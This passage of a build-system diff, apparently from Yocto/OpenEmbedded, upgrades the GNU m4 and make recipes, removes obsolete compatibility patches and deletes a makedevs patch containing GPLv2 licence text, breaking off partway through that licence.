Tested on x86_64_linux (Ubuntu 8.04 and 9.10).
-2009-11-10 Esben Haabendal <eha@doredevelopment.dk>
+2009-11-10 Esben Haabendal <eha@doredevelopment.dk>
+---
+ configure | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
-Index: m4-1.4.18/configure
-===================================================================
---- m4-1.4.18.orig/configure
-+++ m4-1.4.18/configure
-@@ -24415,8 +24415,8 @@ $as_echo "#define GNULIB_TEST_GETTIMEOFD
+diff --git a/configure b/configure
+index 883336a..6343a34 100755
+--- a/configure
++++ b/configure
+@@ -37061,8 +37061,8 @@ printf "%s\n" "#define GNULIB_TEST_GETRANDOM 1" >>confdefs.h
# only, it does not matter if we skip the link with older autoconf.
# Automake 1.10.1 and earlier try to remove GNUmakefile in non-VPATH
# builds, so use a shell variable to bypass this.
- GNUmakefile=GNUmakefile
- ac_config_links="$ac_config_links $GNUmakefile:$GNUmakefile"
-+ # GNUmakefile=GNUmakefile
-+ # ac_config_links="$ac_config_links $GNUmakefile:$GNUmakefile"
++# GNUmakefile=GNUmakefile
++# ac_config_links="$ac_config_links $GNUmakefile:$GNUmakefile"
- :
+ LIB_HARD_LOCALE="$LIB_SETLOCALE_NULL"
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/m4/m4/m4-1.4.18-glibc-change-work-around.patch b/meta/recipes-devtools/m4/m4/m4-1.4.18-glibc-change-work-around.patch
deleted file mode 100644
index c10bcbf693..0000000000
--- a/meta/recipes-devtools/m4/m4/m4-1.4.18-glibc-change-work-around.patch
+++ /dev/null
@@ -1,130 +0,0 @@
-update for glibc libio.h removal in 2.28+
-
-see
-https://src.fedoraproject.org/rpms/m4/c/814d592134fad36df757f9a61422d164ea2c6c9b?branch=master
-
-Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/gnulib.git/commit/?id=4af4a4a718]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Index: m4-1.4.18/lib/fflush.c
-===================================================================
---- m4-1.4.18.orig/lib/fflush.c
-+++ m4-1.4.18/lib/fflush.c
-@@ -33,7 +33,7 @@
- #undef fflush
-
-
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-
- /* Clear the stream's ungetc buffer, preserving the value of ftello (fp). */
- static void
-@@ -72,7 +72,7 @@ clear_ungetc_buffer (FILE *fp)
-
- #endif
-
--#if ! (defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */)
-+#if ! (defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */)
-
- # if (defined __sferror || defined __DragonFly__ || defined __ANDROID__) && defined __SNPT
- /* FreeBSD, NetBSD, OpenBSD, DragonFly, Mac OS X, Cygwin, Android */
-@@ -148,7 +148,7 @@ rpl_fflush (FILE *stream)
- if (stream == NULL || ! freading (stream))
- return fflush (stream);
-
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-
- clear_ungetc_buffer_preserving_position (stream);
-
-Index: m4-1.4.18/lib/fpending.c
-===================================================================
---- m4-1.4.18.orig/lib/fpending.c
-+++ m4-1.4.18/lib/fpending.c
-@@ -32,7 +32,7 @@ __fpending (FILE *fp)
- /* Most systems provide FILE as a struct and the necessary bitmask in
- <stdio.h>, because they need it for implementing getc() and putc() as
- fast macros. */
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- return fp->_IO_write_ptr - fp->_IO_write_base;
- #elif defined __sferror || defined __DragonFly__ || defined __ANDROID__
- /* FreeBSD, NetBSD, OpenBSD, DragonFly, Mac OS X, Cygwin, Android */
-Index: m4-1.4.18/lib/fpurge.c
-===================================================================
---- m4-1.4.18.orig/lib/fpurge.c
-+++ m4-1.4.18/lib/fpurge.c
-@@ -62,7 +62,7 @@ fpurge (FILE *fp)
- /* Most systems provide FILE as a struct and the necessary bitmask in
- <stdio.h>, because they need it for implementing getc() and putc() as
- fast macros. */
--# if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+# if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- fp->_IO_read_end = fp->_IO_read_ptr;
- fp->_IO_write_ptr = fp->_IO_write_base;
- /* Avoid memory leak when there is an active ungetc buffer. */
-Index: m4-1.4.18/lib/freadahead.c
-===================================================================
---- m4-1.4.18.orig/lib/freadahead.c
-+++ m4-1.4.18/lib/freadahead.c
-@@ -25,7 +25,7 @@
- size_t
- freadahead (FILE *fp)
- {
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- if (fp->_IO_write_ptr > fp->_IO_write_base)
- return 0;
- return (fp->_IO_read_end - fp->_IO_read_ptr)
-Index: m4-1.4.18/lib/freading.c
-===================================================================
---- m4-1.4.18.orig/lib/freading.c
-+++ m4-1.4.18/lib/freading.c
-@@ -31,7 +31,7 @@ freading (FILE *fp)
- /* Most systems provide FILE as a struct and the necessary bitmask in
- <stdio.h>, because they need it for implementing getc() and putc() as
- fast macros. */
--# if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+# if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- return ((fp->_flags & _IO_NO_WRITES) != 0
- || ((fp->_flags & (_IO_NO_READS | _IO_CURRENTLY_PUTTING)) == 0
- && fp->_IO_read_base != NULL));
-Index: m4-1.4.18/lib/fseeko.c
-===================================================================
---- m4-1.4.18.orig/lib/fseeko.c
-+++ m4-1.4.18/lib/fseeko.c
-@@ -47,7 +47,7 @@ fseeko (FILE *fp, off_t offset, int when
- #endif
-
- /* These tests are based on fpurge.c. */
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- if (fp->_IO_read_end == fp->_IO_read_ptr
- && fp->_IO_write_ptr == fp->_IO_write_base
- && fp->_IO_save_base == NULL)
-@@ -123,7 +123,7 @@ fseeko (FILE *fp, off_t offset, int when
- return -1;
- }
-
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- fp->_flags &= ~_IO_EOF_SEEN;
- fp->_offset = pos;
- #elif defined __sferror || defined __DragonFly__ || defined __ANDROID__
-Index: m4-1.4.18/lib/stdio-impl.h
-===================================================================
---- m4-1.4.18.orig/lib/stdio-impl.h
-+++ m4-1.4.18/lib/stdio-impl.h
-@@ -18,6 +18,12 @@
- the same implementation of stdio extension API, except that some fields
- have different naming conventions, or their access requires some casts. */
-
-+/* Glibc 2.28 made _IO_IN_BACKUP private. For now, work around this
-+ problem by defining it ourselves. FIXME: Do not rely on glibc
-+ internals. */
-+#if !defined _IO_IN_BACKUP && defined _IO_EOF_SEEN
-+# define _IO_IN_BACKUP 0x100
-+#endif
-
- /* BSD stdio derived implementations. */
-
diff --git a/meta/recipes-devtools/m4/m4_1.4.18.bb b/meta/recipes-devtools/m4/m4_1.4.19.bb
index b12c0adf3a..b12c0adf3a 100644
--- a/meta/recipes-devtools/m4/m4_1.4.18.bb
+++ b/meta/recipes-devtools/m4/m4_1.4.19.bb
diff --git a/meta/recipes-devtools/make/make.inc b/meta/recipes-devtools/make/make.inc
index a0a72b6295..56b863480c 100644
--- a/meta/recipes-devtools/make/make.inc
+++ b/meta/recipes-devtools/make/make.inc
@@ -11,3 +11,8 @@ SRC_URI = "${GNU_MIRROR}/make/make-${PV}.tar.gz \
inherit autotools gettext pkgconfig texinfo
PROVIDES = "virtual/make"
+
+# Otherwise $CXX leaks into /usr/bin/make
+do_configure:prepend() {
+ unset CXX
+}
diff --git a/meta/recipes-devtools/make/make/0001-makeinst-Do-not-undef-POSIX-on-clang-arm.patch b/meta/recipes-devtools/make/make/0001-makeinst-Do-not-undef-POSIX-on-clang-arm.patch
deleted file mode 100644
index 2da7c983dc..0000000000
--- a/meta/recipes-devtools/make/make/0001-makeinst-Do-not-undef-POSIX-on-clang-arm.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 86b7947156a0c33e768d0a265e38f2881a70a7e2 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 6 Mar 2020 23:19:37 -0800
-Subject: [PATCH] makeinst: Do not undef POSIX on clang/arm
-
-if __arm internal compiler macro is defined then make assumes that the
-system is not posix and goes ahead and undefs POSIX, which results in
-miscompiling make with clang, since clang does define __arm unlike gcc
-which does not, but they both support posix just fine, so here check for
-compiler not being clang when __arm is defined before undefining posix
-
-Fixes error like
-../make-4.3/src/job.c:507:27: error: too many arguments to function call, expected 0, have 1
- sigsetmask (siggetmask (0) & ~fatal_signal_mask)
- ~~~~~~~~~~ ^
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/makeint.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/makeint.h b/src/makeint.h
-index c428a36..fadf963 100644
---- a/src/makeint.h
-+++ b/src/makeint.h
-@@ -115,7 +115,7 @@ extern int errno;
- #endif
-
- /* Some systems define _POSIX_VERSION but are not really POSIX.1. */
--#if (defined (butterfly) || defined (__arm) || (defined (__mips) && defined (_SYSTYPE_SVR3)) || (defined (sequent) && defined (i386)))
-+#if (defined (butterfly) || (defined (__arm) && !defined(__clang__)) || (defined (__mips) && defined (_SYSTYPE_SVR3)) || (defined (sequent) && defined (i386)))
- # undef POSIX
- #endif
-
---
-2.25.1
-
diff --git a/meta/recipes-devtools/make/make/0001-src-dir.c-fix-buffer-overflow-warning.patch b/meta/recipes-devtools/make/make/0001-src-dir.c-fix-buffer-overflow-warning.patch
deleted file mode 100644
index 57970824f6..0000000000
--- a/meta/recipes-devtools/make/make/0001-src-dir.c-fix-buffer-overflow-warning.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From cd7091a7d88306004ca98c5dafcc40f44589b105 Mon Sep 17 00:00:00 2001
-From: Jens Rehsack <sno@netbsd.org>
-Date: Mon, 24 Feb 2020 10:52:21 +0100
-Subject: [PATCH 1/3] src/dir.c: fix buffer-overflow warning
-
-Fix compiler warning:
- src/dir.c:1294:7: warning: 'strncpy' specified bound depends on the
- length of the source argument [-Wstringop-overflow=]
-
-The existing code assumes `path` will never exceed `MAXPATHLEN`. Also the
-size of the buffer is increased by 1 to hold a path with the length of
-`MAXPATHLEN` and trailing `0`.
-
-Signed-off-by: Jens Rehsack <sno@netbsd.org>
----
-Upstream-Status: Pending (https://savannah.gnu.org/bugs/?57888)
-
- src/dir.c | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/src/dir.c b/src/dir.c
-index 862a18e..cad4c4a 100644
---- a/src/dir.c
-+++ b/src/dir.c
-@@ -1289,10 +1289,10 @@ local_stat (const char *path, struct stat *buf)
- if (plen > 1 && path[plen - 1] == '.'
- && (path[plen - 2] == '/' || path[plen - 2] == '\\'))
- {
-- char parent[MAXPATHLEN];
-+ char parent[MAXPATHLEN+1];
-
-- strncpy (parent, path, plen - 2);
-- parent[plen - 2] = '\0';
-+ strncpy (parent, path, MAXPATHLEN);
-+ parent[MIN(plen - 2, MAXPATHLEN)] = '\0';
- if (stat (parent, buf) < 0 || !_S_ISDIR (buf->st_mode))
- return -1;
- }
---
-2.17.1
-
diff --git a/meta/recipes-devtools/make/make/0002-modules-fcntl-allow-being-detected-by-importing-proj.patch b/meta/recipes-devtools/make/make/0002-modules-fcntl-allow-being-detected-by-importing-proj.patch
deleted file mode 100644
index b3d97f9a3a..0000000000
--- a/meta/recipes-devtools/make/make/0002-modules-fcntl-allow-being-detected-by-importing-proj.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From fb8aaed3b040e589cd880fd714dda5ec00687217 Mon Sep 17 00:00:00 2001
-From: Jens Rehsack <sno@netbsd.org>
-Date: Mon, 24 Feb 2020 12:10:06 +0100
-Subject: [PATCH 2/2] modules: fcntl: allow being detected by importing
- projects
-
-GNU project `make` relies on gnulib but provides some own compatibility
-functions - including an `fcntl`, which fails on mingw.
-The intension of gnulib is providing these functions and being wider tested,
-but silently injecting a function opens battle of compatibility layers.
-
-So adding a hint into target `config.h` to allow deciding whether using
-an own compatibility implementation or not.
-
-Signed-off-by: Jens Rehsack <sno@netbsd.org>
----
-Upstream-Status: Pending
-
- m4/gnulib-comp.m4 | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/m4/gnulib-comp.m4 b/m4/gnulib-comp.m4
-index 3ee0811..cf75541 100644
---- a/m4/gnulib-comp.m4
-+++ b/m4/gnulib-comp.m4
-@@ -147,6 +147,7 @@
- gl_FUNC_FCNTL
- if test $HAVE_FCNTL = 0 || test $REPLACE_FCNTL = 1; then
- AC_LIBOBJ([fcntl])
-+ AC_DEFINE(HAVE_GNULIB_FCNTL, 1, [Define to 1 if you have the `fcntl' function via gnulib.])
- fi
- gl_FCNTL_MODULE_INDICATOR([fcntl])
- gl_FCNTL_H
diff --git a/meta/recipes-devtools/make/make/0002-w32-compat-dirent.c-follow-header.patch b/meta/recipes-devtools/make/make/0002-w32-compat-dirent.c-follow-header.patch
deleted file mode 100644
index 9ecc44543e..0000000000
--- a/meta/recipes-devtools/make/make/0002-w32-compat-dirent.c-follow-header.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 4dd8b4f43aa0078707ad9a7932f4e137bc4383ed Mon Sep 17 00:00:00 2001
-From: Jens Rehsack <sno@netbsd.org>
-Date: Mon, 24 Feb 2020 11:12:43 +0100
-Subject: [PATCH 2/3] w32: compat: dirent.c: follow header
-
-src/w32/include/dirent.h completely delegates to mingw dirent implementation,
-gnulib detects it as fine and completely usable - trust in that.
-
-Signed-off-by: Jens Rehsack <sno@netbsd.org>
----
-Upstream-Status: Pending (https://savannah.gnu.org/bugs/?57888)
-
- src/w32/compat/dirent.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/src/w32/compat/dirent.c b/src/w32/compat/dirent.c
-index b8ec615..de80f72 100644
---- a/src/w32/compat/dirent.c
-+++ b/src/w32/compat/dirent.c
-@@ -23,7 +23,7 @@ this program. If not, see <http://www.gnu.org/licenses/>. */
- #include <stdlib.h>
- #include "dirent.h"
-
--
-+#ifndef __MINGW32__
- DIR*
- opendir(const char* pDirName)
- {
-@@ -193,3 +193,4 @@ seekdir(DIR* pDir, long nPosition)
-
- return;
- }
-+#endif /* !__MINGW32__ */
---
-2.17.1
-
diff --git a/meta/recipes-devtools/make/make/0003-posixfcn-fcntl-gnulib-make-emulated.patch b/meta/recipes-devtools/make/make/0003-posixfcn-fcntl-gnulib-make-emulated.patch
deleted file mode 100644
index 70414c51f4..0000000000
--- a/meta/recipes-devtools/make/make/0003-posixfcn-fcntl-gnulib-make-emulated.patch
+++ /dev/null
@@ -1,79 +0,0 @@
-From 3d074c8fca5fcf3e6b83d33788f35a8f1b3a44a2 Mon Sep 17 00:00:00 2001
-From: Jens Rehsack <sno@netbsd.org>
-Date: Fri, 21 Feb 2020 19:29:49 +0100
-Subject: [PATCH 3/3] posixfcn: fcntl: gnulib > make-emulated
-
-Rate the fcntl emulation from gnulib higher than the own one.
-
-Signed-off-by: Jens Rehsack <sno@netbsd.org>
----
-Upstream-Status: Pending (https://savannah.gnu.org/bugs/?57888)
-
- src/output.h | 19 ++++++++++++++-----
- src/w32/compat/posixfcn.c | 2 ++
- 2 files changed, 16 insertions(+), 5 deletions(-)
-
-diff --git a/src/output.h b/src/output.h
-index a506505..d3ce6b7 100644
---- a/src/output.h
-+++ b/src/output.h
-@@ -67,14 +67,21 @@ void output_dump (struct output *out);
-
- # ifdef WINDOWS32
- /* For emulations in w32/compat/posixfcn.c. */
--# define F_GETFD 1
--# define F_SETLKW 2
-+# ifndef F_GETFD
-+# define F_GETFD 1
-+# endif
-+# ifndef F_SETLKW
-+# define F_SETLKW 2
-+# endif
- /* Implementation note: None of the values of l_type below can be zero
- -- they are compared with a static instance of the struct, so zero
- means unknown/invalid, see w32/compat/posixfcn.c. */
--# define F_WRLCK 1
--# define F_UNLCK 2
--
-+# ifndef F_WRLCK
-+# define F_WRLCK 1
-+# endif
-+# ifndef F_UNLCK
-+# define F_UNLCK 2
-+# endif
- struct flock
- {
- short l_type;
-@@ -89,7 +96,9 @@ struct flock
- typedef intptr_t sync_handle_t;
-
- /* Public functions emulated/provided in posixfcn.c. */
-+# ifndef HAVE_GNULIB_FCNTL
- int fcntl (intptr_t fd, int cmd, ...);
-+# endif
- intptr_t create_mutex (void);
- int same_stream (FILE *f1, FILE *f2);
-
-diff --git a/src/w32/compat/posixfcn.c b/src/w32/compat/posixfcn.c
-index 975dfb7..d337b9c 100644
---- a/src/w32/compat/posixfcn.c
-+++ b/src/w32/compat/posixfcn.c
-@@ -29,6 +29,7 @@ this program. If not, see <http://www.gnu.org/licenses/>. */
- #ifndef NO_OUTPUT_SYNC
- /* Support for OUTPUT_SYNC and related functionality. */
-
-+#ifndef HAVE_GNULIB_FCNTL
- /* Emulation of fcntl that supports only F_GETFD and F_SETLKW. */
- int
- fcntl (intptr_t fd, int cmd, ...)
-@@ -142,6 +143,7 @@ fcntl (intptr_t fd, int cmd, ...)
- return -1;
- }
- }
-+#endif /* GNULIB_TEST_FCNTL */
-
- static intptr_t mutex_handle = -1;
-
---
-2.17.1
-
diff --git a/meta/recipes-devtools/make/make_4.3.bb b/meta/recipes-devtools/make/make_4.3.bb
deleted file mode 100644
index 3e0eb543ba..0000000000
--- a/meta/recipes-devtools/make/make_4.3.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-require make.inc
-
-SRC_URI += "\
- file://0001-m4-getloadavg.m4-restrict-AIX-specific-test-on-AIX.patch \
- file://0002-modules-fcntl-allow-being-detected-by-importing-proj.patch \
- file://0001-src-dir.c-fix-buffer-overflow-warning.patch \
- file://0002-w32-compat-dirent.c-follow-header.patch \
- file://0003-posixfcn-fcntl-gnulib-make-emulated.patch \
- file://0001-makeinst-Do-not-undef-POSIX-on-clang-arm.patch \
-"
-
-EXTRA_OECONF += "--without-guile"
-
-SRC_URI[sha256sum] = "e05fdde47c5f7ca45cb697e973894ff4f5d79e13b750ed57d7b66d8defc78e19"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/make/make_4.4.1.bb b/meta/recipes-devtools/make/make_4.4.1.bb
new file mode 100644
index 0000000000..c73751ddcb
--- /dev/null
+++ b/meta/recipes-devtools/make/make_4.4.1.bb
@@ -0,0 +1,13 @@
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e"
+require make.inc
+
+SRC_URI += " \
+ file://0001-m4-getloadavg.m4-restrict-AIX-specific-test-on-AIX.patch \
+ "
+
+EXTRA_OECONF += "--without-guile"
+
+SRC_URI[sha256sum] = "dd16fb1d67bfab79a72f5e8390735c49e3e8e70b4945a15ab1f81ddb78658fb3"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/makedevs/makedevs/COPYING.patch b/meta/recipes-devtools/makedevs/makedevs/COPYING.patch
deleted file mode 100644
index 3a8902b97a..0000000000
--- a/meta/recipes-devtools/makedevs/makedevs/COPYING.patch
+++ /dev/null
@@ -1,346 +0,0 @@
-Upstream-Status: Inappropriate [licensing]
-
-diff -ruN makedevs-1.0.0-orig/COPYING makedevs-1.0.0/COPYING
---- makedevs-1.0.0-orig/COPYING 1970-01-01 08:00:00.000000000 +0800
-+++ makedevs-1.0.0/COPYING 2010-12-09 16:42:20.274984665 +0800
-@@ -0,0 +1,340 @@
-+ GNU GENERAL PUBLIC LICENSE
-+ Version 2, June 1991
-+
-+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-+ 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
-+ Everyone is permitted to copy and distribute verbatim copies
-+ of this license document, but changing it is not allowed.
-+
-+ Preamble
-+
-+ The licenses for most software are designed to take away your
-+freedom to share and change it. By contrast, the GNU General Public
-+License is intended to guarantee your freedom to share and change free
-+software--to make sure the software is free for all its users. This
-+General Public License applies to most of the Free Software
-+Foundation's software and to any other program whose authors commit to
-+using it. (Some other Free Software Foundation software is covered by
-+the GNU Library General Public License instead.) You can apply it to
-+your programs, too.
-+
-+ When we speak of free software, we are referring to freedom, not
-+price. Our General Public Licenses are designed to make sure that you
-+have the freedom to distribute copies of free software (and charge for
-+this service if you wish), that you receive source code or can get it
-+if you want it, that you can change the software or use pieces of it
-+in new free programs; and that you know you can do these things.
-+
-+ To protect your rights, we need to make restrictions that forbid
-+anyone to deny you these rights or to ask you to surrender the rights.
-+These restrictions translate to certain responsibilities for you if you
-+distribute copies of the software, or if you modify it.
-+
-+ For example, if you distribute copies of such a program, whether
-+gratis or for a fee, you must give the recipients all the rights that
-+you have. You must make sure that they, too, receive or can get the
-+source code. And you must show them these terms so they know their
-+rights.
-+
-+ We protect your rights with two steps: (1) copyright the software, and
-+(2) offer you this license which gives you legal permission to copy,
-+distribute and/or modify the software.
-+
-+ Also, for each author's protection and ours, we want to make certain
-+that everyone understands that there is no warranty for this free
-+software. If the software is modified by someone else and passed on, we
-+want its recipients to know that what they have is not the original, so
-+that any problems introduced by others will not reflect on the original
-+authors' reputations.
-+
-+ Finally, any free program is threatened constantly by software
-+patents. We wish to avoid the danger that redistributors of a free
-+program will individually obtain patent licenses, in effect making the
-+program proprietary. To prevent this, we have made it clear that any
-+patent must be licensed for everyone's free use or not licensed at all.
-+
-+ The precise terms and conditions for copying, distribution and
-+modification follow.
-+
-+ GNU GENERAL PUBLIC LICENSE
-+ TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-+
-+ 0. This License applies to any program or other work which contains
-+a notice placed by the copyright holder saying it may be distributed
-+under the terms of this General Public License. The "Program", below,
-+refers to any such program or work, and a "work based on the Program"
-+means either the Program or any derivative work under copyright law:
-+that is to say, a work containing the Program or a portion of it,
-+either verbatim or with modifications and/or translated into another
-+language. (Hereinafter, translation is included without limitation in
-+the term "modification".) Each licensee is addressed as "you".
-+
-+Activities other than copying, distribution and modification are not
-+covered by this License; they are outside its scope. The act of
-+running the Program is not restricted, and the output from the Program
-+is covered only if its contents constitute a work based on the
-+Program (independent of having been made by running the Program).
-+Whether that is true depends on what the Program does.
-+
-+ 1. You may copy and distribute verbatim copies of the Program's
-+source code as you receive it, in any medium, provided that you
-+conspicuously and appropriately publish on each copy an appropriate
-+copyright notice and disclaimer of warranty; keep intact all the
-+notices that refer to this License and to the absence of any warranty;
-+and give any other recipients of the Program a copy of this License
-+along with the Program.
-+
-+You may charge a fee for the physical act of transferring a copy, and
-+you may at your option offer warranty protection in exchange for a fee.
-+
-+ 2. You may modify your copy or copies of the Program or any portion
-+of it, thus forming a work based on the Program, and copy and
-+distribute such modifications or work under the terms of Section 1
-+above, provided that you also meet all of these conditions:
-+
-+ a) You must cause the modified files to carry prominent notices
-+ stating that you changed the files and the date of any change.
-+
-+ b) You must cause any work that you distribute or publish, that in
-+ whole or in part contains or is derived from the Program or any
-+ part thereof, to be licensed as a whole at no charge to all third
-+ parties under the terms of this License.
-+
-+ c) If the modified program normally reads commands interactively
-+ when run, you must cause it, when started running for such
-+ interactive use in the most ordinary way, to print or display an
-+ announcement including an appropriate copyright notice and a
-+ notice that there is no warranty (or else, saying that you provide
-+ a warranty) and that users may redistribute the program under
-+ these conditions, and telling the user how to view a copy of this
-+ License. (Exception: if the Program itself is interactive but
-+ does not normally print such an announcement, your work based on
-+ the Program is not required to print an announcement.)
-+
-+These requirements apply to the modified work as a whole. If
-+identifiable sections of that work are not derived from the Program,
-+and can be reasonably considered independent and separate works in
-+themselves, then this License, and its terms, do not apply to those
-+sections when you distribute them as separate works. But when you
-+distribute the same sections as part of a whole which is a work based
-+on the Program, the distribution of the whole must be on the terms of
-+this License, whose permissions for other licensees extend to the
-+entire whole, and thus to each and every part regardless of who wrote it.
-+
-+Thus, it is not the intent of this section to claim rights or contest
-+your rights to work written entirely by you; rather, the intent is to
-+exercise the right to control the distribution of derivative or
-+collective works based on the Program.
-+
-+In addition, mere aggregation of another work not based on the Program
-+with the Program (or with a work based on the Program) on a volume of
-+a storage or distribution medium does not bring the other work under
-+the scope of this License.
-+
-+ 3. You may copy and distribute the Program (or a work based on it,
-+under Section 2) in object code or executable form under the terms of
-+Sections 1 and 2 above provided that you also do one of the following:
-+
-+ a) Accompany it with the complete corresponding machine-readable
-+ source code, which must be distributed under the terms of Sections
-+ 1 and 2 above on a medium customarily used for software interchange; or,
-+
-+ b) Accompany it with a written offer, valid for at least three
-+ years, to give any third party, for a charge no more than your
-+ cost of physically performing source distribution, a complete
-+ machine-readable copy of the corresponding source code, to be
-+ distributed under the terms of Sections 1 and 2 above on a medium
-+ customarily used for software interchange; or,
-+
-+ c) Accompany it with the information you received as to the offer
-+ to distribute corresponding source code. (This alternative is
-+ allowed only for noncommercial distribution and only if you
-+ received the program in object code or executable form with such
-+ an offer, in accord with Subsection b above.)
-+
-+The source code for a work means the preferred form of the work for
-+making modifications to it. For an executable work, complete source
-+code means all the source code for all modules it contains, plus any
-+associated interface definition files, plus the scripts used to
-+control compilation and installation of the executable. However, as a
-+special exception, the source code distributed need not include
-+anything that is normally distributed (in either source or binary
-+form) with the major components (compiler, kernel, and so on) of the
-+operating system on which the executable runs, unless that component
-+itself accompanies the executable.
-+
-+If distribution of executable or object code is made by offering
-+access to copy from a designated place, then offering equivalent
-+access to copy the source code from the same place counts as
-+distribution of the source code, even though third parties are not
-+compelled to copy the source along with the object code.
-+
-+ 4. You may not copy, modify, sublicense, or distribute the Program
-+except as expressly provided under this License. Any attempt
-+otherwise to copy, modify, sublicense or distribute the Program is
-+void, and will automatically terminate your rights under this License.
-+However, parties who have received copies, or rights, from you under
-+this License will not have their licenses terminated so long as such
-+parties remain in full compliance.
-+
-+ 5. You are not required to accept this License, since you have not
-+signed it. However, nothing else grants you permission to modify or
-+distribute the Program or its derivative works. These actions are
-+prohibited by law if you do not accept this License. Therefore, by
-+modifying or distributing the Program (or any work based on the
-+Program), you indicate your acceptance of this License to do so, and
-+all its terms and conditions for copying, distributing or modifying
-+the Program or works based on it.
-+
-+ 6. Each time you redistribute the Program (or any work based on the
-+Program), the recipient automatically receives a license from the
-+original licensor to copy, distribute or modify the Program subject to
-+these terms and conditions. You may not impose any further
-+restrictions on the recipients' exercise of the rights granted herein.
-+You are not responsible for enforcing compliance by third parties to
-+this License.
-+
-+ 7. If, as a consequence of a court judgment or allegation of patent
-+infringement or for any other reason (not limited to patent issues),
-+conditions are imposed on you (whether by court order, agreement or
-+otherwise) that contradict the conditions of this License, they do not
-+excuse you from the conditions of this License. If you cannot
-+distribute so as to satisfy simultaneously your obligations under this
-+License and any other pertinent obligations, then as a consequence you
-+may not distribute the Program at all. For example, if a patent
-+license would not permit royalty-free redistribution of the Program by
-+all those who receive copies directly or indirectly through you, then
-+the only way you could satisfy both it and this License would be to
-+refrain entirely from distribution of the Program.
-+
-+If any portion of this section is held invalid or unenforceable under
-+any particular circumstance, the balance of the section is intended to
-+apply and the section as a whole is intended to apply in other
-+circumstances.
-+
-+It is not the purpose of this section to induce you to infringe any
-+patents or other property right claims or to contest validity of any
-+such claims; this section has the sole purpose of protecting the
-+integrity of the free software distribution system, which is
-+implemented by public license practices. Many people have made
-+generous contributions to the wide range of software distributed
-+through that system in reliance on consistent application of that
-+system; it is up to the author/donor to decide if he or she is willing
-+to distribute software through any other system and a licensee cannot
-+impose that choice.
-+
-+This section is intended to make thoroughly clear what is believed to
-+be a consequence of the rest of this License.
-+
-+ 8. If the distribution and/or use of the Program is restricted in
-+certain countries either by patents or by copyrighted interfaces, the
-+original copyright holder who places the Program under this License
-+may add an explicit geographical distribution limitation excluding
-+those countries, so that distribution is permitted only in or among
-+countries not thus excluded. In such case, this License incorporates
-+the limitation as if written in the body of this License.
-+
-+ 9. The Free Software Foundation may publish revised and/or new versions
-+of the General Public License from time to time. Such new versions will
-+be similar in spirit to the present version, but may differ in detail to
-+address new problems or concerns.
-+
-+Each version is given a distinguishing version number. If the Program
-+specifies a version number of this License which applies to it and "any
-+later version", you have the option of following the terms and conditions
-+either of that version or of any later version published by the Free
-+Software Foundation. If the Program does not specify a version number of
-+this License, you may choose any version ever published by the Free Software
-+Foundation.
-+
-+ 10. If you wish to incorporate parts of the Program into other free
-+programs whose distribution conditions are different, write to the author
-+to ask for permission. For software which is copyrighted by the Free
